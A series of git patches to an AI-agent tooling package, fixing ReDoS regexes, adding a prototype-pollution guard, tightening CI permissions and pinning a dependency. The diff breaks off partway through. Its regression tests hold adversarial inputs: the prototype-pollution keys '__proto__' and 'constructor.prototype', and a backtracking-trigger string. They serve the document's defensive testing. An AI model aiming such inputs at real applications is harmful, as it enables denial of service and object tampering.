From b238baddbf916f772a852064850906660bd2a387 Mon Sep 17 00:00:00 2001 From: Tom Boucher Date: Thu, 4 Jun 2026 08:54:15 -0400 Subject: [PATCH 01/94] fix(#663): resolve open CodeQL/Dependabot security alerts (ReDoS, prototype pollution, workflow perms, qs DoS) (#665) * fix(#663): resolve open CodeQL/Dependabot security alerts - ReDoS: collapse ambiguous nested quantifiers in phase-heading regexes (verify/validate/commands) and the plan-filename lookahead (phase) to provably-equivalent non-backtracking forms - prototype pollution: guard __proto__/constructor/prototype in setConfigValue - remove dead no-op .replace(/-/g,'-') in phase.cts - escape all regex metachars in bug-2839 test - add contents:read permissions to security-scan + install-smoke workflows - pin qs >= 6.15.2 via overrides (DoS GHSA) - broaden prompt-injection allowlist to translated security-model docs Closes #663 Co-Authored-By: Claude Opus 4.8 * test(#663): regression tests for prototype-pollution guard and roadmap-phase ReDoS Behavioral test that config-set rejects __proto__/constructor/prototype keys without polluting Object.prototype, plus a ReDoS guard (timing-bound) and behavior-preservation assertions for the collapsed phase-heading regexes. Co-Authored-By: Claude Opus 4.8 * test(#663): make ReDoS regression assert structured result, not elapsed time Replace elapsed-time assertions (which tripped local/no-elapsed-assertion ESLint rule and were unsound for synchronous ReDoS) with structured-result assertions on adversarial inputs: assert that malformed phase headings/ unchecked-item lines without a terminating colon/space yield an empty Set, which is both the correct behavior and an exercise of the fixed linear regex on the catastrophic-backtracking input shape. Co-Authored-By: Claude Opus 4.8 * chore(#663): add Security changeset fragment for #665 Co-Authored-By: Claude Opus 4.8 * test(#663): fold prototype-pollution regression into config.test.cjs The standalone bug-663-config-prototype-pollution.test.cjs was a 9th config-module test file, tripping lint-test-file-count (the allowlist is ratcheted and must not grow). Consolidated into config.test.cjs instead. Co-Authored-By: Claude Opus 4.8 --------- Co-authored-by: Claude Opus 4.8 --- .changeset/humble-badgers-dart.md | 5 + .github/workflows/install-smoke.yml | 3 + .github/workflows/security-scan.yml | 3 + package-lock.json | 16 -- package.json | 3 + scripts/prompt-injection-scan.sh | 2 +- src/commands.cts | 2 +- src/config.cts | 4 + src/phase.cts | 6 +- src/validate.cts | 4 +- src/verify.cts | 4 +- ...-review-fix-transactional-cleanup.test.cjs | 2 +- ...g-663-redos-roadmap-phase-parsing.test.cjs | 155 ++++++++++++++++++ tests/config.test.cjs | 57 +++++++ 14 files changed, 240 insertions(+), 26 deletions(-) create mode 100644 .changeset/humble-badgers-dart.md create mode 100644 tests/bug-663-redos-roadmap-phase-parsing.test.cjs diff --git a/.changeset/humble-badgers-dart.md b/.changeset/humble-badgers-dart.md new file mode 100644 index 000000000..ad1f67751 --- /dev/null +++ b/.changeset/humble-badgers-dart.md @@ -0,0 +1,5 @@ +--- +type: Security +pr: 665 +--- +**Hardened roadmap-phase parsing and config writes** — resolved ReDoS in phase-heading/plan-filename regexes (validate/verify/commands/phase), blocked prototype-pollution through dotted config keys in `config-set`, and pinned `qs >= 6.15.2` (DoS advisory). diff --git a/.github/workflows/install-smoke.yml b/.github/workflows/install-smoke.yml index 4368a0ef5..279923a8a 100644 --- a/.github/workflows/install-smoke.yml +++ b/.github/workflows/install-smoke.yml @@ -49,6 +49,9 @@ concurrency: group: install-smoke-${{ github.workflow }}-${{ github.head_ref || github.run_id }} cancel-in-progress: true +permissions: + contents: read + jobs: # --------------------------------------------------------------------------- # Job 1: tarball install (existing canonical path) diff --git a/.github/workflows/security-scan.yml b/.github/workflows/security-scan.yml index b687079c5..d25c3c9e4 100644 --- a/.github/workflows/security-scan.yml +++ b/.github/workflows/security-scan.yml @@ -22,6 +22,9 @@ concurrency: group: ${{ github.workflow }}-${{ github.head_ref || github.run_id }} cancel-in-progress: true +permissions: + contents: read + jobs: security: runs-on: ubuntu-latest diff --git a/package-lock.json b/package-lock.json index 1faa2c4b8..4bf7ce5eb 100644 --- a/package-lock.json +++ b/package-lock.json @@ -5010,22 +5010,6 @@ "node": ">= 16.0.0" } }, - "node_modules/typed-rest-client/node_modules/qs": { - "version": "6.15.1", - "resolved": "https://registry.npmjs.org/qs/-/qs-6.15.1.tgz", - "integrity": "sha512-6YHEFRL9mfgcAvql/XhwTvf5jKcOiiupt2FiJxHkiX1z4j7WL8J/jRHYLluORvc1XxB5rV20KoeK00gVJamspg==", - "dev": true, - "license": "BSD-3-Clause", - "dependencies": { - "side-channel": "^1.1.0" - }, - "engines": { - "node": ">=0.6" - }, - "funding": { - "url": "https://github.com/sponsors/ljharb" - } - }, "node_modules/typescript": { "version": "6.0.3", "resolved": "https://registry.npmjs.org/typescript/-/typescript-6.0.3.tgz", diff --git a/package.json b/package.json index a5cd186c6..b5a26e698 100644 --- a/package.json +++ b/package.json @@ -62,6 +62,9 @@ "typescript": "^6.0.3", "typescript-eslint": "^8.60.0" }, + "overrides": { + "qs": ">=6.15.2" + }, "optionalDependencies": { "fallow": "^2.70.0" }, diff --git a/scripts/prompt-injection-scan.sh b/scripts/prompt-injection-scan.sh index c05d5bb5c..78231ef12 100755 --- a/scripts/prompt-injection-scan.sh +++ b/scripts/prompt-injection-scan.sh @@ -83,7 +83,7 @@ ALLOWLIST=( # These files contain intentional injection examples / security-model prose # and are not attack vectors — they explain/demonstrate injection patterns. 'TEST-EXAMPLES.md' - 'docs/explanation/security-model.md' + 'explanation/security-model.md' ) is_allowlisted() { diff --git a/src/commands.cts b/src/commands.cts index a269e0a5a..a5cc33820 100644 --- a/src/commands.cts +++ b/src/commands.cts @@ -1215,7 +1215,7 @@ function cmdStats(cwd: string, format: string | undefined, raw: boolean): void { const roadmapContent = extractCurrentMilestone(roadmapRaw, cwd); // Matches both plain numeric (Phase 1:) and milestone-prefixed (Phase 2-01:) headings. // Also tolerates optional [bracket-token] scope prefix on phase headings. - const headingPattern = /#{2,4}\s*(?:\[[^\]]+\]\s*)?Phase\s+([\w][\w.-]*(?:-[\w.-]+)*)\s*:\s*([^\n]+)/gi; + const headingPattern = /#{2,4}\s*(?:\[[^\]]+\]\s*)?Phase\s+([\w][\w.-]*)\s*:\s*([^\n]+)/gi; let match: RegExpExecArray | null; while ((match = headingPattern.exec(roadmapContent)) !== null) { const key = normalizePhaseName(match[1]); diff --git a/src/config.cts b/src/config.cts index a1627268b..6c6b6635b 100644 --- a/src/config.cts +++ b/src/config.cts @@ -419,6 +419,10 @@ function setConfigValue(cwd: string, keyPath: string, parsedValue: unknown): Set // Set nested value using dot notation (e.g., "workflow.research") const keys = keyPath.split('.'); + const FORBIDDEN_KEYS = new Set(['__proto__', 'prototype', 'constructor']); + if (keys.some((k) => FORBIDDEN_KEYS.has(k))) { + error('Invalid config key (prototype pollution guard): ' + keyPath, ERROR_REASON.CONFIG_PARSE_FAILED); + } let current: Record = config; for (let i = 0; i < keys.length - 1; i++) { const key = keys[i]; diff --git a/src/phase.cts b/src/phase.cts index 5b5b87fb1..408f08ae4 100644 --- a/src/phase.cts +++ b/src/phase.cts @@ -694,7 +694,7 @@ function cmdPhaseAdd(cwd: string, description: string, raw: boolean, customId?: let _dirName: string; if (customId || config.phase_naming === 'custom') { - _newPhaseId = customId || slug.toUpperCase().replace(/-/g, '-'); + _newPhaseId = customId || slug.toUpperCase(); if (!_newPhaseId) error('--id required when phase_naming is "custom"'); _dirName = `${prefix}${_newPhaseId}-${slug}`; } else { @@ -805,7 +805,7 @@ function cmdPhaseAddBatch(cwd: string, descriptions: string[], raw: boolean): vo let newPhaseId: number | string; let dirName: string; if (config.phase_naming === 'custom') { - newPhaseId = slug.toUpperCase().replace(/-/g, '-'); + newPhaseId = slug.toUpperCase(); dirName = `${prefix}${newPhaseId}-${slug}`; } else { maxPhase += 1; @@ -1176,7 +1176,7 @@ function updateRoadmapAfterPhaseRemoval( `${prefix}${decrementRoadmapPhaseNumber(num, removedInt)}${suffix}`, ); content = content.replace( - /(? `${decrementRoadmapPaddedPhaseNumber(phaseNum, removedInt)}-${planNum}`, ); diff --git a/src/validate.cts b/src/validate.cts index 4a4eb0fe0..0a6c30ece 100644 --- a/src/validate.cts +++ b/src/validate.cts @@ -94,7 +94,7 @@ export function buildRoadmapPhaseVariants(roadmapContent: string): RoadmapPhaseV const roadmapPhaseVariants = new Set(); // Matches both legacy numeric (Phase 1:), decimal (Phase 2.1:), milestone-prefixed (Phase 2-01:), // and bracket-prefixed (### [GSD] Phase 2-01:) headings. - const phasePattern = /#{2,4}\s*(?:\[[^\]]+\]\s*)?Phase\s+([\w][\w.-]*(?:-[\w.-]+)*)\s*:/gi; + const phasePattern = /#{2,4}\s*(?:\[[^\]]+\]\s*)?Phase\s+([\w][\w.-]*)\s*:/gi; let m: RegExpExecArray | null; while ((m = phasePattern.exec(roadmapContent)) !== null) { roadmapPhases.add(m[1]); @@ -106,7 +106,7 @@ export function buildRoadmapPhaseVariants(roadmapContent: string): RoadmapPhaseV export function buildNotStartedPhaseVariants(roadmapContent: string): Set { const notStartedPhases = new Set(); // Also matches milestone-prefixed and bracket-prefixed checklist items. - const uncheckedPattern = /-\s*\[\s\]\s*\*{0,2}Phase\s+([\w][\w.-]*(?:-[\w.-]+)*)[:\s*]/gi; + const uncheckedPattern = /-\s*\[\s\]\s*\*{0,2}Phase\s+([\w][\w.-]*)[:\s*]/gi; let um: RegExpExecArray | null; while ((um = uncheckedPattern.exec(roadmapContent)) !== null) { for (const variant of phaseVariants(um[1])) notStartedPhases.add(variant); diff --git a/src/verify.cts b/src/verify.cts index 9268d4e0b..8aa3d6016 100644 --- a/src/verify.cts +++ b/src/verify.cts @@ -643,7 +643,7 @@ function cmdValidateConsistency(cwd: string, raw: boolean): void { const roadmapPhases = new Set(); const phasePattern = - /#{2,4}\s*(?:\[[^\]]+\]\s*)?Phase\s+([\w][\w.-]*(?:-[\w.-]+)*)\s*:/gi; + /#{2,4}\s*(?:\[[^\]]+\]\s*)?Phase\s+([\w][\w.-]*)\s*:/gi; let m: RegExpExecArray | null; while ((m = phasePattern.exec(roadmapContent)) !== null) { roadmapPhases.add(m[1]); @@ -651,7 +651,7 @@ function cmdValidateConsistency(cwd: string, raw: boolean): void { const fullRoadmapPhases = new Set(); const fullPhasePattern = - /#{2,4}\s*(?:\[[^\]]+\]\s*)?Phase\s+([\w][\w.-]*(?:-[\w.-]+)*)\s*:/gi; + /#{2,4}\s*(?:\[[^\]]+\]\s*)?Phase\s+([\w][\w.-]*)\s*:/gi; let fm: RegExpExecArray | null; while ((fm = fullPhasePattern.exec(roadmapContentRaw)) !== null) { fullRoadmapPhases.add(fm[1]); diff --git a/tests/bug-2839-review-fix-transactional-cleanup.test.cjs b/tests/bug-2839-review-fix-transactional-cleanup.test.cjs index 1bd2c5f05..87cfdc66d 100644 --- a/tests/bug-2839-review-fix-transactional-cleanup.test.cjs +++ b/tests/bug-2839-review-fix-transactional-cleanup.test.cjs @@ -125,7 +125,7 @@ describe('bug-2839: /gsd-code-review-fix cleanup is transactional', () => { // (`rm -f .../.review-fix-recovery-pending.json`) or a shell-variable form // referring to the previously-declared `sentinel` variable // (`rm -f "$sentinel"` / `rm -f "${sentinel}"`). - const escapedName = SENTINEL_NAME.replace(/\./g, '\\.'); + const escapedName = SENTINEL_NAME.replace(/[.*+?^${}()|[\]\\]/g, '\\$&'); const sentinelRemovalRe = new RegExp( `(rm\\s+(?:-f\\s+)?[^\\n]*(?:${escapedName}|\\$\\{?sentinel\\}?)|unlink[^\\n]*(?:${escapedName}|\\$\\{?sentinel\\}?))` ); diff --git a/tests/bug-663-redos-roadmap-phase-parsing.test.cjs b/tests/bug-663-redos-roadmap-phase-parsing.test.cjs new file mode 100644 index 000000000..f4048c468 --- /dev/null +++ b/tests/bug-663-redos-roadmap-phase-parsing.test.cjs @@ -0,0 +1,155 @@ +/** + * Regression test for the ReDoS fixes in buildRoadmapPhaseVariants() and + * buildNotStartedPhaseVariants() (src/validate.cts, fix #663). + * + * The old patterns used nested quantifiers that caused catastrophic + * backtracking on crafted input: + * old: [\w][\w.-]*(?:-[\w.-]+)* ← ambiguous alternation → exponential + * new: [\w][\w.-]* ← single quantifier → linear + * + * The same nested-quantifier shape was fixed identically in src/verify.cts, + * src/commands.cts, and src/phase.cts. + * + * Part A: behavior preservation — the collapsed regex still matches the same + * phase identifiers as before on normal roadmap content. + * Part B: ReDoS adversarial fixtures — calls buildRoadmapPhaseVariants / + * buildNotStartedPhaseVariants with pathological input (a malformed heading + * or checklist line that has NO terminating colon). The adversarial input + * would cause catastrophic backtracking under the OLD nested-quantifier + * pattern; the fix makes backtracking linear. We assert on the STRUCTURED + * RESULT (the returned Set is empty — no match — because the colon is + * absent) rather than on elapsed time, in compliance with the + * local/no-elapsed-assertion ESLint rule. A { timeout: 5000 } backstop is + * retained so the test fails fast if a future regression reintroduces a + * slow pattern. + * + * Requirements: TEST-663-B + */ + +const { test, describe } = require('node:test'); +const assert = require('node:assert/strict'); +const { + buildRoadmapPhaseVariants, + buildNotStartedPhaseVariants, +} = require('../gsd-core/bin/lib/validate.cjs'); + +// ─── Part A: behavior preservation ─────────────────────────────────────────── + +describe('buildRoadmapPhaseVariants — behavior preservation (#663)', () => { + test('matches plain numeric heading (Phase 1:)', () => { + const content = [ + '# Roadmap', + '## Phase 1: Foo', + ].join('\n'); + + const { roadmapPhases } = buildRoadmapPhaseVariants(content); + assert.ok(roadmapPhases.has('1'), 'roadmapPhases should contain "1"'); + }); + + test('matches milestone-prefixed heading (Phase 2-01:)', () => { + const content = [ + '# Roadmap', + '### Phase 2-01: Bar', + ].join('\n'); + + const { roadmapPhases } = buildRoadmapPhaseVariants(content); + assert.ok(roadmapPhases.has('2-01'), 'roadmapPhases should contain "2-01"'); + }); + + test('matches bracket-prefixed heading ([GSD] Phase 3.2:)', () => { + const content = [ + '# Roadmap', + '### [GSD] Phase 3.2: Baz', + ].join('\n'); + + const { roadmapPhases } = buildRoadmapPhaseVariants(content); + assert.ok(roadmapPhases.has('3.2'), 'roadmapPhases should contain "3.2"'); + }); + + test('collects all phase identifiers from mixed-format roadmap', () => { + const content = [ + '# Roadmap', + '## Phase 1: Alpha', + '### Phase 2-01: Beta', + '### [GSD] Phase 3.2: Gamma', + ].join('\n'); + + const { roadmapPhases } = buildRoadmapPhaseVariants(content); + assert.ok(roadmapPhases.has('1'), 'should have phase 1'); + assert.ok(roadmapPhases.has('2-01'), 'should have phase 2-01'); + assert.ok(roadmapPhases.has('3.2'), 'should have phase 3.2'); + }); + + test('populates roadmapPhaseVariants with padding-normalized forms', () => { + const content = [ + '# Roadmap', + '### Phase 2-01: Beta', + ].join('\n'); + + const { roadmapPhaseVariants } = buildRoadmapPhaseVariants(content); + // phaseVariants() adds both padded and unpadded forms + assert.ok(roadmapPhaseVariants.has('2-01') || roadmapPhaseVariants.has('02-01'), + 'roadmapPhaseVariants should contain at least one padding form of 2-01'); + }); +}); + +describe('buildNotStartedPhaseVariants — behavior preservation (#663)', () => { + test('matches unchecked checklist item (- [ ] Phase 4-01:)', () => { + const content = [ + '# Roadmap', + '- [ ] Phase 4-01: Qux', + ].join('\n'); + + const notStarted = buildNotStartedPhaseVariants(content); + // phaseVariants() expands 4-01 into multiple forms; at minimum the raw form is present. + assert.ok(notStarted.has('4-01') || notStarted.has('04-01'), + 'notStarted should contain a variant of 4-01'); + }); + + test('does not pick up checked items', () => { + const content = [ + '# Roadmap', + '- [x] Phase 5: Done', + ].join('\n'); + + const notStarted = buildNotStartedPhaseVariants(content); + assert.strictEqual(notStarted.has('5'), false, 'completed phase should not be in notStarted'); + }); +}); + +// ─── Part B: ReDoS adversarial fixtures ────────────────────────────────────── + +describe('buildRoadmapPhaseVariants — ReDoS adversarial fixture (#663)', () => { + // Pathological input: a heading line where the phase-id segment consists of + // many consecutive "-a" chunks with NO terminating colon. Under the old + // nested-quantifier pattern ([\w.-]*(?:-[\w.-]+)*\s*:) the engine must + // explore exponentially many ways to partition the "-a" repetitions before + // concluding there is no match. The fixed single-quantifier pattern + // ([\w.-]*\s*:) backtracks linearly. We assert that the malformed heading + // yields NO match (empty roadmapPhases Set) — the correct behavior when the + // terminating colon is absent. The { timeout: 5000 } backstop catches any + // regression that re-introduces a slow pattern. + test('malformed heading without colon yields no phase match (adversarial input)', { timeout: 5000 }, () => { + const pathological = '## Phase a' + '-a'.repeat(32) + ' '; + const { roadmapPhases } = buildRoadmapPhaseVariants(pathological); + assert.strictEqual(roadmapPhases.size, 0, + 'a heading with no terminating colon should not match any phase'); + }); +}); + +describe('buildNotStartedPhaseVariants — ReDoS adversarial fixture (#663)', () => { + // Same analysis: the old uncheckedPattern used the same nested quantifier. + // A checklist-style line with many "-a" segments and no colon triggers the + // same catastrophic backtracking. Assert the correct structured result: + // the malformed line yields an empty notStarted Set. + test('malformed unchecked-item without terminator yields no phase match (adversarial input)', { timeout: 5000 }, () => { + // No trailing colon or whitespace: the regex terminator [:\s*] cannot match, + // so the engine must backtrack through all '-a' repetitions and conclude no + // match. Under the old nested-quantifier pattern this was exponential; + // under the fixed linear pattern it returns immediately with an empty Set. + const pathological = '- [ ] Phase a' + '-a'.repeat(32); + const notStarted = buildNotStartedPhaseVariants(pathological); + assert.strictEqual(notStarted.size, 0, + 'an unchecked-item line with no terminating colon or space should not match any phase'); + }); +}); diff --git a/tests/config.test.cjs b/tests/config.test.cjs index 3680c9210..93af892ad 100644 --- a/tests/config.test.cjs +++ b/tests/config.test.cjs @@ -993,6 +993,63 @@ describe('config-path command (#2282)', () => { }); }); +// ─── config-set prototype-pollution guard (#663) ───────────────────────────── + +describe('config-set prototype-pollution guard (#663)', () => { + let tmpDir; + + beforeEach(() => { + tmpDir = createTempProject(); + // Initialise config so there is a config.json to write to. + runGsdTools('config-ensure-section', tmpDir); + }); + + afterEach(() => { + cleanup(tmpDir); + }); + + test('rejects __proto__ key segment and does not pollute Object.prototype', () => { + const result = runGsdTools('config-set __proto__.polluted true', tmpDir); + + assert.strictEqual(result.success, false, `Expected failure but got: ${result.output}`); + + // No prototype pollution. + assert.strictEqual(({}).polluted, undefined, '__proto__ pollution: {}.polluted should be undefined'); + assert.strictEqual(Object.prototype.polluted, undefined, '__proto__ pollution: Object.prototype.polluted should be undefined'); + + // Confirm .planning/config.json does not have a 'polluted' property at any level. + const config = readConfig(tmpDir); + assert.strictEqual(Object.prototype.hasOwnProperty.call(config, 'polluted'), false, + 'config.json root must not gain a "polluted" key'); + }); + + test('rejects constructor.prototype key and does not pollute Object.prototype', () => { + const result = runGsdTools('config-set constructor.prototype.polluted2 true', tmpDir); + + assert.strictEqual(result.success, false, `Expected failure but got: ${result.output}`); + + assert.strictEqual(({}).polluted2, undefined, 'constructor chain pollution: {}.polluted2 should be undefined'); + assert.strictEqual(Object.prototype.polluted2, undefined, + 'constructor chain pollution: Object.prototype.polluted2 should be undefined'); + }); + + test('rejects bare prototype key segment', () => { + const result = runGsdTools('config-set prototype.x true', tmpDir); + + assert.strictEqual(result.success, false, `Expected failure but got: ${result.output}`); + assert.strictEqual(Object.prototype.x, undefined, 'prototype.x should not leak onto Object.prototype'); + }); + + test('positive control: legitimate nested key workflow.research succeeds', () => { + const result = runGsdTools('config-set workflow.research true', tmpDir); + + assert.ok(result.success, `Legitimate key rejected unexpectedly: ${result.error}`); + + const config = readConfig(tmpDir); + assert.strictEqual(config.workflow.research, true, 'workflow.research should be written to config.json'); + }); +}); + // ─── plan_review.source_grounding + _authority (#22) ───────────────────────── describe('plan_review.source_grounding and plan_review.source_grounding_authority (#22)', () => { From 7ebff4058edc97ff7aac0dc0ceb2ad319fc752d1 Mon Sep 17 00:00:00 2001 From: Tom Boucher Date: Thu, 4 Jun 2026 09:08:37 -0400 Subject: [PATCH 02/94] chore(#660): bump next to 1.3.1-dev.0 (-dev stream per ADR 660) (#672) After the 1.3.0 release, next moves onto the -dev prerelease stream so the trunk self-identifies as unreleased (floor = next patch). First manual exercise of the ADR-660 release model. Refs #660 Co-authored-by: Claude Opus 4.8 --- package-lock.json | 4 ++-- package.json | 2 +- 2 files changed, 3 insertions(+), 3 deletions(-) diff --git a/package-lock.json b/package-lock.json index e008181de..c513b2523 100644 --- a/package-lock.json +++ b/package-lock.json @@ -1,12 +1,12 @@ { "name": "@opengsd/gsd-core", - "version": "1.3.0", + "version": "1.3.1-dev.0", "lockfileVersion": 3, "requires": true, "packages": { "": { "name": "@opengsd/gsd-core", - "version": "1.3.0", + "version": "1.3.1-dev.0", "license": "MIT", "dependencies": { "@anthropic-ai/claude-agent-sdk": "^0.2.84", diff --git a/package.json b/package.json index 8bd3b136d..042fdcca0 100644 --- a/package.json +++ b/package.json @@ -1,6 +1,6 @@ { "name": "@opengsd/gsd-core", - "version": "1.3.0", + "version": "1.3.1-dev.0", "description": "GSD Core is a meta-prompting, context engineering, and spec-driven development system for AI coding agents.", "bin": { "gsd-core": "bin/install.js", From e8dc420b4dbf4398430c7b486c7c375286c0cabf Mon Sep 17 00:00:00 2001 From: Tom Boucher Date: Thu, 4 Jun 2026 09:15:58 -0400 Subject: [PATCH 03/94] ci(#660): use scoped GSD_BOT_PR_TOKEN for backmerge & release merge-back PR creation (#673) The open-gsd org blocks the Actions GITHUB_TOKEN from creating PRs, so auto-backmerge and the release finalize merge-back PR steps can't open their PRs (must be done manually). Point those two steps at a scoped secret (pull-requests:write + contents:write), falling back to GITHUB_TOKEN so behavior is unchanged until the secret is added. Refs #660 Co-authored-by: Claude Opus 4.8 --- .github/workflows/auto-backmerge.yml | 4 ++-- .github/workflows/release.yml | 2 +- 2 files changed, 3 insertions(+), 3 deletions(-) diff --git a/.github/workflows/auto-backmerge.yml b/.github/workflows/auto-backmerge.yml index a907e7443..e94eb1502 100644 --- a/.github/workflows/auto-backmerge.yml +++ b/.github/workflows/auto-backmerge.yml @@ -56,7 +56,7 @@ jobs: if: steps.check.outputs.next_exists == 'true' id: branch env: - GH_TOKEN: ${{ github.token }} + GH_TOKEN: ${{ secrets.GSD_BOT_PR_TOKEN || secrets.GITHUB_TOKEN }} run: | set -euo pipefail SHORT_SHA=$(git rev-parse --short HEAD) @@ -108,7 +108,7 @@ jobs: - name: Open or update PR if: steps.check.outputs.next_exists == 'true' && steps.branch.outputs.reused != 'true' env: - GH_TOKEN: ${{ github.token }} + GH_TOKEN: ${{ secrets.GSD_BOT_PR_TOKEN || secrets.GITHUB_TOKEN }} BR: ${{ steps.branch.outputs.branch }} run: | set -euo pipefail diff --git a/.github/workflows/release.yml b/.github/workflows/release.yml index d04647649..806c694fa 100644 --- a/.github/workflows/release.yml +++ b/.github/workflows/release.yml @@ -326,7 +326,7 @@ jobs: if: ${{ !inputs.dry_run }} continue-on-error: true env: - GH_TOKEN: ${{ github.token }} + GH_TOKEN: ${{ secrets.GSD_BOT_PR_TOKEN || secrets.GITHUB_TOKEN }} BRANCH: ${{ needs.validate-version.outputs.branch }} VERSION: ${{ inputs.version }} run: | From b8e15c7a98b656ca2b81ef7283cfe14408e5ab7d Mon Sep 17 00:00:00 2001 From: Colin Date: Thu, 4 Jun 2026 12:23:29 -0400 Subject: [PATCH 04/94] fix: accept published installer migration checksums --- .changeset/fierce-lynx-howl.md | 5 + docs/installer-migrations.md | 5 + scripts/ci-test-scope.cjs | 3 +- src/installer-migration-authoring.cts | 1 + src/installer-migrations.cts | 15 ++- .../000-first-time-baseline.cts | 6 ++ .../001-legacy-orphan-files.cts | 6 ++ .../002-codex-legacy-hooks-json.cts | 6 ++ .../003-rename-get-shit-done-to-gsd-core.cts | 2 + tests/ci-test-scope.test.cjs | 9 ++ .../published-checksums.json | 49 ++++++++++ ...staller-migration-checksum-compat.test.cjs | 94 +++++++++++++++++++ 12 files changed, 198 insertions(+), 3 deletions(-) create mode 100644 .changeset/fierce-lynx-howl.md create mode 100644 tests/fixtures/installer-migrations/published-checksums.json create mode 100644 tests/installer-migration-checksum-compat.test.cjs diff --git a/.changeset/fierce-lynx-howl.md b/.changeset/fierce-lynx-howl.md new file mode 100644 index 000000000..3f4aabe5a --- /dev/null +++ b/.changeset/fierce-lynx-howl.md @@ -0,0 +1,5 @@ +--- +type: Fixed +pr: 674 +--- +Accept published installer migration checksums so Windows users upgrading from 1.2.0 to 1.3.0 do not hit checksum drift failures. diff --git a/docs/installer-migrations.md b/docs/installer-migrations.md index d78e08a2a..124d7bfe0 100644 --- a/docs/installer-migrations.md +++ b/docs/installer-migrations.md @@ -125,6 +125,11 @@ The checksum is calculated from the migration definition. If an applied migration's checksum changes, the installer must warn and refuse to silently re-run it. Fix-forward migrations should use a new migration id. +Migration records may pin a stable `checksum` and list `legacyChecksums` for +checksums already written by published packages. This is only for compatibility +with released install state; new behavior should still ship as a new migration +id rather than mutating an already-applied migration in place. + ## Migration Record Each migration exports a plain record plus pure planning logic. diff --git a/scripts/ci-test-scope.cjs b/scripts/ci-test-scope.cjs index 299491b2b..771aa81be 100644 --- a/scripts/ci-test-scope.cjs +++ b/scripts/ci-test-scope.cjs @@ -64,6 +64,7 @@ const RULES = [ 'tests/install-regressions.test.cjs', 'tests/install-runtime-artifacts.test.cjs', 'tests/install-path-detection.test.cjs', + 'tests/installer-migration-checksum-compat.test.cjs', 'tests/release-tarball-smoke.install.test.cjs', 'tests/runtime-artifact-layout.test.cjs', ], @@ -254,7 +255,7 @@ function classify(files) { let fullMatrix = false; for (const file of files) { - if (['bin/', 'gsd-core/', 'agents/', 'commands/', 'docs/', 'hooks/', 'tests/', 'scripts/'].some(p => file.startsWith(p)) || + if (['bin/', 'gsd-core/', 'agents/', 'commands/', 'docs/', 'hooks/', 'tests/', 'scripts/', 'src/'].some(p => file.startsWith(p)) || file === 'package.json' || file === 'package-lock.json' || (file.startsWith('tsconfig') && file.endsWith('.json')) || file.startsWith('.github/workflows/') || diff --git a/src/installer-migration-authoring.cts b/src/installer-migration-authoring.cts index a859363d7..a09a4fcc5 100644 --- a/src/installer-migration-authoring.cts +++ b/src/installer-migration-authoring.cts @@ -91,6 +91,7 @@ export function validateInstallerMigrationRecord(record: unknown, source?: strin throw new Error(`migration record must declare destructive as a boolean: ${displaySource}`); } validateStringArray(rec, 'runtimes', displaySource); + validateStringArray(rec, 'legacyChecksums', displaySource); requireStringArray(rec, 'scopes', displaySource); if (typeof rec['plan'] !== 'function') { throw new Error(`migration record must include a plan function: ${displaySource}`); diff --git a/src/installer-migrations.cts b/src/installer-migrations.cts index 591fd5f8a..4133c07ed 100644 --- a/src/installer-migrations.cts +++ b/src/installer-migrations.cts @@ -208,12 +208,22 @@ function migrationChecksum(migration: MigrationRecord): string { return `sha256:${sha256Text(JSON.stringify(serializable))}`; } +function migrationLegacyChecksums(migration: MigrationRecord): string[] { + return Array.isArray(migration.legacyChecksums) + ? migration.legacyChecksums.filter((checksum): checksum is string => typeof checksum === 'string' && checksum.length > 0) + : []; +} + +function migrationAcceptedChecksums(migration: MigrationRecord): Set { + return new Set([migrationChecksum(migration), ...migrationLegacyChecksums(migration)]); +} + function assertAppliedMigrationChecksums(applied: Map>, migrations: MigrationRecord[]): void { for (const migration of migrations) { const entry = applied.get(migration.id as string); if (!entry || !entry.checksum) continue; - const checksum = migrationChecksum(migration); - if (entry.checksum !== checksum) { + const accepted = migrationAcceptedChecksums(migration); + if (!accepted.has(entry.checksum as string)) { throw new Error( `applied migration checksum changed for ${migration.id as string}; create a new fix-forward migration id` ); @@ -923,6 +933,7 @@ export = { acquireInstallMigrationLock, applyInstallerMigrationPlan, classifyArtifact, + computeInstallerMigrationChecksum: migrationChecksum, discoverInstallerMigrations, planInstallerMigrations, readInstallManifest, diff --git a/src/installer-migrations/000-first-time-baseline.cts b/src/installer-migrations/000-first-time-baseline.cts index c81f30e6a..0f31541c8 100644 --- a/src/installer-migrations/000-first-time-baseline.cts +++ b/src/installer-migrations/000-first-time-baseline.cts @@ -171,6 +171,8 @@ interface InstallerMigration { title: string; description: string; introducedIn: string; + checksum: string; + legacyChecksums?: string[]; scopes: string[]; destructive: boolean; plan: (ctx: PlanContext) => BaselineAction[]; @@ -181,6 +183,10 @@ const migration: InstallerMigration = { title: 'Record first-time installer migration baseline', description: 'Classify existing install surfaces before destructive installer migrations run.', introducedIn: '1.50.0', + checksum: 'sha256:4ec58d35b30dbf39cc56e3972146086d8d31861ecd800cf0b37a7aa94fe74c2a', + legacyChecksums: [ + 'sha256:34608ea4e2f4e1c53b069604892860e603600d8573cc6a5584e4194044b48e67', + ], scopes: ['global', 'local'], destructive: false, plan: ({ configDir, runtime, baselineScan, classifyArtifact }: PlanContext): BaselineAction[] => { diff --git a/src/installer-migrations/001-legacy-orphan-files.cts b/src/installer-migrations/001-legacy-orphan-files.cts index bd3dad449..0f7e7e677 100644 --- a/src/installer-migrations/001-legacy-orphan-files.cts +++ b/src/installer-migrations/001-legacy-orphan-files.cts @@ -31,6 +31,8 @@ interface InstallerMigration { title: string; description: string; introducedIn: string; + checksum: string; + legacyChecksums?: string[]; scopes: string[]; destructive: boolean; plan: (ctx: MigrationPlanContext) => MigrationAction[]; @@ -46,6 +48,10 @@ const migration: InstallerMigration = { title: 'Remove manifest-managed legacy orphan hook files', description: 'Remove legacy orphan hook files that are still manifest-managed.', introducedIn: '1.50.0', + checksum: 'sha256:e492698748a2436a12a55f0940f539b9bf651d8ffcac6f60cd856a6dabd6788c', + legacyChecksums: [ + 'sha256:4488e38c127a5225b31016918bcbc85ba3fd3139291ad407b94e76c03c0b89d3', + ], scopes: ['global', 'local'], destructive: true, // Retired generated hook files are removed only with manifest-managed diff --git a/src/installer-migrations/002-codex-legacy-hooks-json.cts b/src/installer-migrations/002-codex-legacy-hooks-json.cts index 4e3a8a214..8032bed09 100644 --- a/src/installer-migrations/002-codex-legacy-hooks-json.cts +++ b/src/installer-migrations/002-codex-legacy-hooks-json.cts @@ -48,6 +48,8 @@ interface InstallerMigration { title: string; description: string; introducedIn: string; + checksum: string; + 